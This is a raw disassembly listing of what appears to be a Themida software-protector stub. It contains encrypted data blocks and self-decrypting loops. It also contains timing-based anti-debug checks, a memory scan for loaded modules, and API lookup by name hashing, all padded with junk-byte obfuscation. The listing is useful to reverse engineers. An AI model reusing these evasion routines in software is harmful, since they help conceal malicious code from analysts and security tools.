0A9C5h, 6 dup(0) dd 11110000h, 1111h, 4 dup(0) dd 35180000h, 0 dd 0A8CF0000h, 104400B1h, 30h, 2 dup(0) dd 0B79A0000h, 6 dup(0) dd 89C90000h, 2966h, 4 dup(0) dd 5CE70000h, 5 dup(0) dd 1A440000h, 9F0300B1h, 7C90h, 180F0000h, 0B1h, 4 dup(0) dd 37D50000h, 8D960003h, 938h, 2800000h, 16F80000h, 3F0Dh dd 7 dup(0) dd 8B280000h, 0B1h, 0EB940000h, 7C90h, 3 dup(0) dd 88380000h, 0FFA1h, 0FFFD0000h, 0B2FEh, 8E510000h, 0B1h dd 6 dup(0) dd 40000h, 5 dup(0) dd 22220000h, 22222222h, 2222h, 0Ah dup(0) dd 0E0090000h, 0FFA3h, 0CDDA0000h, 5A0C7C81h, 1FFF4AF0h dd 2130000h, 0B7h, 0 db 90h db 7Ch, 2 dup(0) dd 8 dup(0) dd 0F9FC0000h, 7FF900AAh, 7FD4h, 0Ah dup(0) dd 21B50000h, 0ADDBh, 40C10000h, 7DD0h, 4 dup(0) dd 4F540000h, 11h, 0 dd 0FFFF0000h, 0FFFFh, 2 dup(0) dd 0EFF0000h, 753Ah, 7 dup(0) dd 12660000h, 0FFA4h, 0C0000000h, 2, 0A040000h, 5Bh, 0 dd 0ABC10000h, 5Ch, 9 dup(0) dd 0FE800000h, 12h, 3 dup(0) dd 0D1D20000h, 5Eh, 0EBFB0000h, 36h, 0 dd 39D20000h, 58h, 5 dup(0) dd 10000h, 8C0000h, 0ADE70000h, 2 dup(0) dd 0A00000h, 2 dup(0) dd 34410000h, 0F85Eh, 3 dup(0) dd 328B0000h, 3EE9h, 0 dd 0E27D0000h, 7E1h, 4 dup(0) dd 24240000h, 2424h, 10000h, 0 dd 0C8C0000h, 5Ch, 3 dup(0) dd 2130000h, 0B7h, 3 dup(0) dd 56DE0000h, 1005Ch, 0F9200000h, 7CEDh, 87D80000h, 61B7FFA0h dd 19h dup(0) dd 0FA030000h, 0B1h, 5 dup(0) dd 1040000h, 5 dup(0) dd 7F5D0000h, 3259h, 0A2800000h, 2 dup(0) dd 10000h, 4 dup(0) dd 0B40000h, 0CB070000h, 91C5h, 0FFFF0000h, 0FFFFh, 6DD40000h dd 0EBC1025Dh, 3333005Bh, 2 dup(33333333h), 3333h, 3 dup(0) dd 146C0000h, 836Fh, 0 dd 0FFC40000h, 27E20012h, 0FFB2h, 54170000h, 0EB0100BBh dd 13F2Bh, 0DEF60000h, 0BA1C9CDAh, 5Fh, 5 dup(0) dd 0C2E0000h, 4 dup(0) dd 230000h, 5Dh, 4 dup(0) dd 17900000h, 0E81476F2h, 5Ch, 2 dup(0) dd 3E0000h, 0B1h, 0Bh dup(0) dd 0EB940000h, 0A257C90h, 0FF7D00B1h, 737307E1h, 58h, 2 dup(0) dd 0EAFF0000h, 5Dh, 8 dup(0) dd 94170000h, 0B1h, 0AC0000h, 0 dd 0B5080000h, 0B1h, 4 dup(0) dd 10440000h, 30h, 6 dup(0) dd 77F50000h, 0B4AD130Bh, 57B31E28h, 5697h, 2 dup(0) dd 0EFBF0000h, 5Bh, 0Bh dup(0) dd 0D3AB0000h, 4070005Bh, 5Fh, 39D20000h, 58h, 4 dup(0) dd 940000h, 0 dd 0B5D60000h, 2 dup(0) dd 0DEDD0000h, 2000F0FFh, 3 dup(0) dd 4A5D0000h, 3DDFh, 0 dd 94170000h, 0B1h, 5 dup(0) dd 91780000h, 3A4300B6h, 4E49575Ch, 53574F44h, 7379735Ch dd 336D6574h, 44415C32h, 49504156h, 642E3233h, 6C6Ch, 39h dup(0) dd 285C0000h, 0FFFFh, 8 dup(0) dd 20000h, 6 dup(0) dd 40C10000h, 0EB947DD0h, 0EFAE7C90h, 1620005Dh, 2 dup(0) dd 6BF50000h, 0F66Ch, 0 dd 0E240000h, 575200B1h, 0B64005Bh, 5Ch, 0E8080000h, 0A698h dd 0 dd 9A830000h, 4E73h, 7 dup(0) dd 0FA030000h, 0B1h, 0AED70000h, 5C66h, 30DF0000h, 0A9C5h dd 2 dup(0) dd 370B0000h, 993h, 0 dd 0A4820000h, 0FFFFh, 7 dup(0) dd 72C80000h, 8 dup(0) dd 8F680297h, 0FFFFh, 13h dup(0) dd 6BCC0000h, 5Dh, 0 dd 146C0000h, 836Fh, 13h dup(0) dd 39D0000h, 8D8D21BBh, 5328h, 0 dd 6E0F0000h, 25Dh, 0B5FE0000h, 0B1h, 0FB130000h, 7C90h dd 2 dup(0) dd 300F0000h, 5Dh, 2 dup(0) dd 200000h, 31h dup(0) dd 22C70000h, 9C3808h, 0ED20000h, 5Ch, 6 dup(0) dd 0E4DD0000h, 0B776h, 9E8B0000h, 0BCB1005Bh, 9A90h, 9 dup(0) dd 10000h, 0EE180000h, 7C90h, 0DB800000h, 36360060h, 3636h dd 0BD8A0000h, 0DF7Ah, 10h dup(0) dd 0A2400000h, 0FFFFh, 0FF7D0000h, 7E1h, 832C0000h, 0BB19h dd 0Ch dup(0) dd 4CE80000h, 5Fh, 28080000h, 0EB9400B1h, 54177C90h, 0BBh dd 0A37B0000h, 8D20FFA0h, 0B1h, 3 dup(0) dd 0EE370000h, 0C47E77DDh, 15EDh, 0 dd 328B0000h, 3EE9h, 5 dup(0) dd 89410000h, 59A2h, 0ED9A0000h, 5Bh, 0BD210000h, 0A75942FFh dd 15h, 0 dd 10000h, 2 dup(0) dd 93860000h, 1290022Ch, 76F2h, 5 dup(0) dd 0D7F00000h, 0EB94005Ch, 7C7C90h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58698A: ; CODE XREF: Themida_:loc_583441j mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 7FA3553h mov [ebp+7FA2DB1h], edx mov [ebp+7FA32C5h], esi mov [ebp+7FA1DD5h], eax cmp dword ptr [ebp+7FA0671h], 0 jz short loc_5869C2 mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_5869C2: ; CODE XREF: Themida_:005869B4j mov eax, [esp+24h] mov [ebp+7FA2B45h], eax push 45h call sub_586A76 push 783749Ah call sub_586ABC push 0A894B25h call sub_586ABC jmp loc_586C00 ; --------------------------------------------------------------------------- dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0) db 2 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_586A76 proc near ; CODE XREF: Themida_:005869CEp var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 7FA3641h mov ebx, edx mov [ebp+var_28], 0 loc_586A92: ; CODE XREF: sub_586A76+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_586AB1 mov eax, [ebp+arg_0] mov [ebx+7FA35ABh], eax inc [ebp+arg_0] inc ebx jmp short loc_586A92 ; --------------------------------------------------------------------------- loc_586AB1: ; CODE XREF: sub_586A76+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_586A76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_586ABC proc near ; CODE XREF: Themida_:005869D8p ; Themida_:005869E2p var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 7FA368Ah lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_586AE2: ; CODE XREF: sub_586ABC+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_586AE2 mov [ebp+var_84], 0 lea edi, [edx+7FA35ABh] lea esi, [ebp+var_80] loc_586B12: ; CODE XREF: sub_586ABC+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_586B1E: ; CODE XREF: sub_586ABC+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_586B1E imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_586B12 popa leave retn 4 sub_586ABC endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_586B5C ; --------------------------------------------------------------------------- loc_586B58: ; CODE XREF: Themida_:00586B5Fj inc dword ptr [ebp-4] inc esi loc_586B5C: ; CODE XREF: Themida_:00586B56j cmp byte ptr [esi], 0 jnz short loc_586B58 mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_586BED ; --------------------------------------------------------------------------- loc_586B6E: ; CODE XREF: Themida_:00586BF0j mov dword ptr [ebp-8], 0 jmp short loc_586BE4 ; --------------------------------------------------------------------------- loc_586B77: ; CODE XREF: Themida_:00586BE8j mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_586BD1 ; --------------------------------------------------------------------------- loc_586B87: ; CODE XREF: Themida_:00586BD5j shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_586BA9 cmp bl, 39h ja short loc_586BA9 sub bl, 30h jmp short loc_586BCB ; --------------------------------------------------------------------------- loc_586BA9: ; CODE XREF: Themida_:00586B9Dj ; Themida_:00586BA2j cmp bl, 61h jb short loc_586BBB cmp bl, 66h ja short loc_586BBB sub bl, 61h add bl, 0Ah jmp short loc_586BCB ; --------------------------------------------------------------------------- loc_586BBB: ; CODE XREF: Themida_:00586BACj ; Themida_:00586BB1j cmp bl, 41h jb short loc_586BCB cmp bl, 46h ja short loc_586BCB sub bl, 41h add bl, 0Ah loc_586BCB: ; CODE XREF: Themida_:00586BA7j ; Themida_:00586BB9j ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_586BD1: ; CODE XREF: Themida_:00586B85j cmp dword ptr [ebp-0Ch], 2 jb short loc_586B87 cmp dword ptr [ebp-10h], 0 jbe short loc_586BE1 mov eax, [ebp-10h] stosb loc_586BE1: ; CODE XREF: Themida_:00586BDBj inc dword ptr [ebp-8] loc_586BE4: ; CODE XREF: Themida_:00586B75j cmp dword ptr [ebp-8], 2 jb short loc_586B77 add edx, 4 loc_586BED: ; CODE XREF: Themida_:00586B6Cj cmp edx, [ebp-4] jb loc_586B6E mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- loc_586C00: ; CODE XREF: Themida_:005869E7j mov ecx, 7000h lea edi, [ebp+7FA37D0h] loc_586C0B: ; CODE XREF: Themida_:00586C0Fj dec byte ptr [edi] inc edi dec ecx jnz short loc_586C0B mov eax, 48692121h mov edx, 0F0115000h sub edx, 0F0000000h lea eax, [ebp+7FA38C3h] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax movzx ebx, ax mov bl, 0CEh push ecx sbb ebx, 4024711Bh pop ebx adc ebx, 2C8DD295h sub eax, edx push 0 push ebp call sub_586C5C and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_586C5C proc near ; CODE XREF: Themida_:00586C54p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_586C5C endp ; --------------------------------------------------------------------------- dd 256DED50h, 0FFFFF000h, 8BDABF0Fh, 66FF33CAh, 5A4D3881h dd 0B70F0E75h, 0D0033C50h, 45503A81h, 8740000h, 10002Dh dd 0E3EB4700h, 58F64h, 83000000h, 958D04C4h, 7FA38D6h dd 35FF6452h, 0 ; --------------------------------------------------------------------------- mov large fs:0, esp add eax, ecx sub eax, 1000h mov esi, [eax+4] and esi, 0FFFF0000h cmp esi, 80000000h jbe short loc_586CD2 mov esi, [eax+1Ch] loc_586CD2: ; CODE XREF: Themida_:00586CCDj xor eax, eax loc_586CD4: ; CODE XREF: Themida_:00586CE7j cmp eax, 32h jz short loc_586CF8 cmp word ptr [esi], 5A4Dh jz short loc_586CE9 loc_586CE0: ; CODE XREF: Themida_:00586CF6j sub esi, 10000h inc eax jmp short loc_586CD4 ; --------------------------------------------------------------------------- loc_586CE9: ; CODE XREF: Themida_:00586CDEj mov edi, [esi+3Ch] add edi, esi cmp dword ptr [edi], 4550h jz short loc_586D3A jmp short loc_586CE0 ; --------------------------------------------------------------------------- loc_586CF8: ; CODE XREF: Themida_:00586CD7j pop large dword ptr fs:0 add esp, 4 popa retn ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] sub dword ptr [ecx+0B0h], 1000h pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] push ebp call $+5 pop ebp sub ebp, 7FA38E1h lea eax, [ebp+7FA389Fh] mov [ecx+0B8h], eax pop ebp pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- loc_586D3A: ; CODE XREF: Themida_:00586CF4j xchg eax, esi pop large dword ptr fs:0 add esp, 4 jnp loc_586D4E movsx ebx, si loc_586D4E: ; CODE XREF: Themida_:00586D45j mov ebx, eax mov cx, ds push 0 push eax call sub_586D5E and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_586D5E proc near ; CODE XREF: Themida_:00586D56p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_586D5E endp ; --------------------------------------------------------------------------- push edx xchg bl, al sub eax, 3A9F5D9Bh or bx, 59DEh jle loc_586D98 jmp loc_586D98 ; --------------------------------------------------------------------------- icebp xor byte ptr [edi-7Ah], 6Bh mov [eax+21h], ecx db 26h retf ; --------------------------------------------------------------------------- dd 2C900B02h, 0C3F21EE5h ; --------------------------------------------------------------------------- loc_586D98: ; CODE XREF: Themida_:00586D7Bj ; Themida_:00586D81j add bx, 0D4D0h and cl, 4 pusha jg loc_586DA8 cmc loc_586DA8: ; CODE XREF: Themida_:00586DA1j jnb loc_586DB1 movzx ecx, cx loc_586DB1: ; CODE XREF: Themida_:loc_586DA8j popa or cl, cl jnz loc_586E09 mov bx, 134Fh mov dword ptr [ebp+7FA33EDh], 1 mov bh, cl or ebx, 0CC77BD7h jmp loc_586E18 ; --------------------------------------------------------------------------- push 0 push ebp call sub_586DE0 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_586DE0 proc near ; CODE XREF: Themida_:00586DD8p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_586DE0 endp ; --------------------------------------------------------------------------- dd 0DE8730A9h, 93B83829h, 810F13DBh, 9, 38F0Fh, 8B660000h db 0D9h ; --------------------------------------------------------------------------- loc_586E09: ; CODE XREF: Themida_:00586DB4j mov dword ptr [ebp+7FA33EDh], 0 pusha sub bh, 38h popa loc_586E18: ; CODE XREF: Themida_:00586DD0j mov [ebp+7FA08A5h], eax push 0 push esi call sub_586E29 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_586E29 proc near ; CODE XREF: Themida_:00586E21p ; sub_586E51+3Bj arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_586E29 endp ; --------------------------------------------------------------------------- ja short near ptr loc_586E67+1 add bh, 5Ah mov bh, ch mov [ebp+7FA2095h], eax call sub_586E51 dec edi aas push ebx wait dec ebx nop ; =============== S U B R O U T I N E ======================================= sub_586E51 proc near ; CODE XREF: Themida_:00586E46p var_20 = dword ptr -20h arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch pop edx jmp loc_586E5E ; --------------------------------------------------------------------------- db 3 dd 9639EEEDh db 6Fh, 8Fh ; --------------------------------------------------------------------------- loc_586E5E: ; CODE XREF: sub_586E51+1j add edx, 6AB4h mov cx, bx loc_586E67: ; CODE XREF: Themida_:00586E39j mov ebx, 1A81h xor di, 0CB35h loc_586E71: ; CODE XREF: sub_586E51+8Bj push dword ptr [edx] stc pop eax jmp loc_586E8E ; --------------------------------------------------------------------------- dw 0A6B4h dd 5B28F816h, 3A2FEAE1h, 6043E021h, 0F2CC6942h ; --------------------------------------------------------------------------- jns short sub_586E29 loc_586E8E: ; CODE XREF: sub_586E51+24j add eax, 6C5B33C3h mov ecx, 5871C0D3h xor eax, 3CDC9E3Ch jmp loc_586EB7 ; --------------------------------------------------------------------------- jmp short loc_586EAD ; --------------------------------------------------------------------------- dw 9665h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 6Fh, 52h, 0C8h db 13h ; --------------------------------------------------------------------------- loc_586EAD: ; CODE XREF: sub_586E51+53j aad 45h das out dx, eax ; --------------------------------------------------------------------------- db 0FFh, 79h, 0EEh db 0CDh, 5Fh, 75h ; --------------------------------------------------------------------------- loc_586EB7: ; CODE XREF: sub_586E51+4Ej add eax, 5FEFA9C4h jmp loc_586ED3 ; --------------------------------------------------------------------------- dw 262Bh dd 0ABEF1BADh, 768860C9h, 6D8D1F3Dh db 17h, 5Eh, 2Bh ; --------------------------------------------------------------------------- loc_586ED3: ; CODE XREF: sub_586E51+6Cj push eax pop dword ptr [edx] sub edx, 4 push edx pop edi dec ebx jnz loc_586E71 pusha jmp loc_586EFC ; --------------------------------------------------------------------------- dd 0D107B5Dh, 3CDD0F97h, 904D70DEh, 7D4D371Eh, 2DA7C15Dh ; --------------------------------------------------------------------------- loc_586EFC: ; CODE XREF: sub_586E51+92j mov eax, ebx popa jmp short loc_586F05 ; --------------------------------------------------------------------------- db 1Bh, 2, 0 db 0 ; --------------------------------------------------------------------------- loc_586F05: ; CODE XREF: sub_586E51+AEj jmp loc_58757C ; --------------------------------------------------------------------------- jmp loc_586F23 ; --------------------------------------------------------------------------- db 0E2h dd 0DC5B9550h, 358FE8A2h, 9F02D71Bh, 45FD5349h db 0C7h, 62h, 89h ; --------------------------------------------------------------------------- loc_586F23: ; CODE XREF: sub_586E51+B9j pusha mov [ebp+7FA0549h], esi sub eax, eax jmp loc_586F3D ; --------------------------------------------------------------------------- db 22h, 2, 3Ch dd 85D46F95h, 2109C451h db 15h ; --------------------------------------------------------------------------- loc_586F3D: ; CODE XREF: sub_586E51+DBj mov edx, [esp+1Ch+arg_8] mov [ebp+7FA0F69h], ecx mov [ebp+7FA154Dh], eax mov [ebp+7FA0E1Dh], eax mov esi, 3Ch sub [ebp+7FA241Dh], ebx add esi, [esp+1Ch+arg_4] sub [ebp+7FA33B5h], ecx mov [ebp+7FA1739h], esi lodsw jmp loc_586F7A ; --------------------------------------------------------------------------- db 20h, 7Eh, 0EAh db 36h, 87h ; --------------------------------------------------------------------------- loc_586F7A: ; CODE XREF: sub_586E51+11Fj add eax, [esp+1Ch+arg_4] jg loc_586F8E pusha jp $+6 pusha popa popa loc_586F8E: ; CODE XREF: sub_586E51+12Dj push eax jl loc_586FA6 jmp loc_586FA6 ; --------------------------------------------------------------------------- dw 0BF16h dd 12BED2Eh, 876F5EB3h ; --------------------------------------------------------------------------- cmpsd retn ; --------------------------------------------------------------------------- loc_586FA6: ; CODE XREF: sub_586E51+13Ej ; sub_586E51+144j mov [esp+20h+var_20], eax jmp loc_586FB8 ; --------------------------------------------------------------------------- dw 7076h dd 0EA24AA15h, 0F190454h ; --------------------------------------------------------------------------- loc_586FB8: ; CODE XREF: sub_586E51+158j mov eax, [eax+78h] sub [ebp+7FA33C1h], ecx jl loc_586FCF jb loc_586FCF pusha popa loc_586FCF: ; CODE XREF: sub_586E51+170j ; sub_586E51+176j add eax, [esp+20h+arg_4] jmp loc_586FDD ; --------------------------------------------------------------------------- dd 0AE31BB95h db 3Eh ; --------------------------------------------------------------------------- loc_586FDD: ; CODE XREF: sub_586E51+182j mov eax, [eax+18h] stc inc eax or [ebp+7FA2A2Dh], edi pusha push edi mov eax, 6E7B1EABh pop ebx movzx eax, dx popa mov [ebp+7FA3AC0h], eax jmp loc_58700B ; --------------------------------------------------------------------------- db 67h dd 0AA48EC4Bh, 933E2379h ; --------------------------------------------------------------------------- add [ebx+76h], ecx loc_58700B: ; CODE XREF: sub_586E51+1A9j pop eax pusha mov si, cx mov bx, 4820h popa cmc mov esi, [eax+78h] pusha mov [ebp+7FA2491h], edx push edx mov di, 0D191h pop ecx popa add esi, 1Ch sub [ebp+7FA1E3Dh], esi add esi, [esp+1Ch+arg_4] pusha jge loc_58703D push edx pop ecx loc_58703D: ; CODE XREF: sub_586E51+1E4j mov bx, 0B37h popa jmp loc_58704F ; --------------------------------------------------------------------------- db 6Fh dd 630709A2h db 85h, 36h, 0C8h ; --------------------------------------------------------------------------- loc_58704F: ; CODE XREF: sub_586E51+1F1j lea edi, [ebp+7FA0F71h] jns loc_587061 sub [ebp+7FA2631h], ecx loc_587061: ; CODE XREF: sub_586E51+204j lodsd stc add eax, [esp+1Ch+arg_4] mov [ebp+7FA33F9h], ebx stosd jmp loc_587080 ; --------------------------------------------------------------------------- db 8Eh ; --------------------------------------------------------------------------- mov ebx, 7524CBB0h mov eax, [edx+32h] mov [ecx+0Ah], eax xchg eax, ebp loc_587080: ; CODE XREF: sub_586E51+21Dj lea edi, [ebp+7FA275Dh] sub [ebp+7FA338Dh], ebx lodsd jmp loc_587099 ; --------------------------------------------------------------------------- dw 0CD66h dd 0CB314EE7h ; --------------------------------------------------------------------------- pop ss loc_587099: ; CODE XREF: sub_586E51+23Cj add eax, [esp+18h+arg_8] mov [ebp+7FA2BC1h], ecx push eax jge loc_5870C6 push eax push edx push eax push edx rdtsc pop edx pop eax rdtsc jmp loc_5870C4 ; --------------------------------------------------------------------------- db 5Dh, 8Ch, 9Fh dd 937E7B53h, 412C6C41h ; --------------------------------------------------------------------------- loc_5870C4: ; CODE XREF: sub_586E51+263j pop edx pop eax loc_5870C6: ; CODE XREF: sub_586E51+253j mov [esp+0], eax cmc stosd pusha or [ebp+7FA0559h], ebx jg loc_5870DC mov di, 0DBCBh loc_5870DC: ; CODE XREF: sub_586E51+281j popa lea edi, [ebp+7FA27D5h] sub [ebp+7FA168Dh], ecx lodsd jmp loc_5870FD ; --------------------------------------------------------------------------- db 7Bh dd 277EA77Ch, 0B5FD8353h, 0F494A953h ; --------------------------------------------------------------------------- pop esp loc_5870FD: ; CODE XREF: sub_586E51+299j add eax, [esp+28h] pusha clc jmp loc_587111 ; --------------------------------------------------------------------------- dd 0EFF3B9B2h, 64F17773h db 3 ; --------------------------------------------------------------------------- loc_587111: ; CODE XREF: sub_586E51+2B2j popa pusha movsx ebx, cx push edi mov ebx, esi pop esi popa stosd jnb loc_587128 mov [ebp+7FA0B7Dh], eax loc_587128: ; CODE XREF: sub_586E51+2CBj pop esi sub [ebp+7FA1C31h], ecx loc_58712F: ; CODE XREF: sub_586E51+36Aj dec dword ptr [ebp+7FA3AC0h] cmp dword ptr [ebp+7FA3AC0h], 0 jnz short loc_58714E mov [esp+14h+arg_4], 0 lea esi, [ebp+7FA3F1Eh] jmp esi ; --------------------------------------------------------------------------- loc_58714E: ; CODE XREF: sub_586E51+2EBj push esi lodsd add eax, [esp+28h] xchg eax, edi mov ebx, edi mov al, [ebp+7FA0665h] test al, al jz short loc_587165 cmp al, [edi] jnz short loc_5871B1 loc_587165: ; CODE XREF: sub_586E51+30Ej push edi xor al, al loc_587168: ; CODE XREF: sub_586E51+318j scasb jnz short loc_587168 pop esi sub edi, ebx push edx cld xor ecx, ecx dec ecx mov edx, ecx loc_587175: ; CODE XREF: sub_586E51+34Dj xor eax, eax xor ebx, ebx lodsb xor al, cl mov cl, ch mov ch, dl mov dl, dh mov dh, 8 loc_587184: ; CODE XREF: sub_586E51+346j shr bx, 1 rcr ax, 1 jnb short loc_587195 xor ax, 5041h xor bx, 5449h loc_587195: ; CODE XREF: sub_586E51+339j dec dh jnz short loc_587184 xor ecx, eax xor edx, ebx dec edi jnz short loc_587175 not edx not ecx mov eax, edx rol eax, 10h mov ax, cx pop edx cmp edx, eax jz short loc_5871C0 loc_5871B1: ; CODE XREF: sub_586E51+312j pop esi add esi, 4 inc dword ptr [ebp+7FA154Dh] jmp loc_58712F ; --------------------------------------------------------------------------- loc_5871C0: ; CODE XREF: sub_586E51+35Ej pop esi mov [ebp+7FA21A5h], edx mov [ebp+7FA0C91h], ecx jle loc_5871D4 clc loc_5871D4: ; CODE XREF: sub_586E51+37Cj mov eax, [ebp+7FA154Dh] xor [ebp+7FA338Dh], ecx jmp loc_5871ED ; --------------------------------------------------------------------------- mov ecx, 82EED422h fidivr word ptr [esi+18h] loc_5871ED: ; CODE XREF: sub_586E51+38Fj shl eax, 1 clc add eax, [ebp+7FA27D5h] cld sub esi, esi jmp loc_58720D ; --------------------------------------------------------------------------- dw 0B970h dd 222CF7A1h, 33D549C9h, 9938C01Ch db 15h ; --------------------------------------------------------------------------- loc_58720D: ; CODE XREF: sub_586E51+3A8j xchg eax, esi cmc lodsw jmp loc_587223 ; --------------------------------------------------------------------------- dw 6CD5h dd 825A1560h, 0B67AF512h ; --------------------------------------------------------------------------- add bl, es:[eax] loc_587223: ; CODE XREF: sub_586E51+3C0j shl eax, 2 jge loc_587232 mov [ebp+7FA2305h], edi loc_587232: ; CODE XREF: sub_586E51+3D5j add eax, [ebp+7FA0F71h] jnz loc_58724B jmp loc_58724B ; --------------------------------------------------------------------------- loc_587243: ; CODE XREF: sub_586E51:loc_587243j jno short loc_587243 lahf xchg eax, ebp adc al, 0D2h popa loc_58724B: ; CODE XREF: sub_586E51+3E7j ; sub_586E51+3EDj sub [ebp+7FA1895h], eax xchg eax, esi cld lodsd cmc mov ecx, [esp+24h] clc add eax, [esp+24h] jo loc_58726A pusha sbb dh, 77h stc popa loc_58726A: ; CODE XREF: sub_586E51+40Dj mov [esp+1Ch], eax mov [ebp+7FA1095h], ecx xchg eax, esi sub [ebp+7FA0F01h], esi lodsb mov [ebp+7FA1F4Dh], edi xor cl, cl mov [ebp+7FA0D15h], edx inc cl pusha mov esi, [ebp+7FA2EB9h] popa jp loc_5872A8 loc_58729A: ; CODE XREF: sub_586E51+4C5j pusha jnp $+6 mov edi, [ebp+7FA1EB9h] popa loc_5872A8: ; CODE XREF: sub_586E51+443j ; sub_586E51+4A7j rcl al, 1 jnb loc_58735F mov [ebp+7FA0AE5h], ebx rcl al, 1 jnb loc_58735F jz loc_5872CA mov [ebp+7FA3105h], ecx loc_5872CA: ; CODE XREF: sub_586E51+46Dj cld rcl al, 1 jb loc_58735F add [ebp+7FA0B71h], ecx rcl al, 1 jb loc_58735F jmp loc_5872F6 ; --------------------------------------------------------------------------- dw 4242h dd 0DFAD6283h, 93FE1D63h, 4B303DC1h db 57h, 24h ; --------------------------------------------------------------------------- loc_5872F6: ; CODE XREF: sub_586E51+490j dec cl jns loc_5872A8 sub [ebp+7FA2F39h], ecx add esp, 20h jmp loc_587319 ; --------------------------------------------------------------------------- xchg esp, [esi+28h] test eax, 24101CA3h fsubr st, st(3) jns short loc_58729A scasd loc_587319: ; CODE XREF: sub_586E51+4B6j mov dword ptr [esp-4], 0 jmp loc_587333 ; --------------------------------------------------------------------------- dw 9843h dd 77E9CDA8h, 11740817h db 3Ch, 32h, 0B3h ; --------------------------------------------------------------------------- loc_587333: ; CODE XREF: sub_586E51+4D0j mov eax, 1 mov [ebp+7FA25D1h], ebx lea ecx, [ebp+7FA72FBh] pusha jmp loc_587355 ; --------------------------------------------------------------------------- dw 0EE11h dd 0E1219D75h, 1FB95670h db 69h ; --------------------------------------------------------------------------- loc_587355: ; CODE XREF: sub_586E51+4F4j stc popa jmp ecx ; --------------------------------------------------------------------------- mov [ebp+7FA1DBDh], edx loc_58735F: ; CODE XREF: sub_586E51+459j ; sub_586E51+467j ... mov byte ptr [ebp+7FA0665h], 0 cmc cmc popa cmc retn 8 ; --------------------------------------------------------------------------- db 9, 8Dh, 0A9h dd 9607FA0Eh, 0A830Fh, 0B2600000h, 0F525073h, 61585A31h dd 10890F50h, 0E9000000h, 0Bh, 0AF032449h, 0E0A3CDEAh dd 960358B5h, 158D89h, 0B58907FAh, 7FA4105h, 0C8C0Fh, 890F0000h dd 6, 8859D89h, 11E907FAh, 0F2000000h, 163E5C69h, 0DBEF8B80h dd 0B3B3E47Fh, 9B002FD0h, 41208D89h, 9D8907FAh, 7FA266Dh dd 3FE4B58Dh, 896007FAh, 0FA15499Dh, 8D61F507h, 5B8EA185h dd 299D0100h, 0FF07FA29h, 958B60D0h, 7FA18E9h, 143F88B8h dd 0E95E6108h, 0Ch, 3B2BEF9Bh, 0BEE73D4Eh, 43840C5Eh, 6830FC3h dd 89000000h, 0FA2AE195h, 5B58B07h, 907FA41h, 0FA0DAD85h dd 208D8B07h, 0E907FA41h, 12h, 5EA833A1h, 32EB3B76h, 4F99D278h dd 529DACC7h, 0B8411Eh, 60000000h, 61CF8B66h, 0BD89D98Bh dd 7FA2A51h, 0C0E9h, 0D98D0100h, 907FA2Eh, 0FA0B4DBDh dd 89263207h, 0FA1E859Dh, 0F02B207h, 68Ah, 8D8D2900h, 0E907FA23h dd 52h, 60C232F5h, 0BBC28B66h, 2075151Dh, 1D7A0561h, 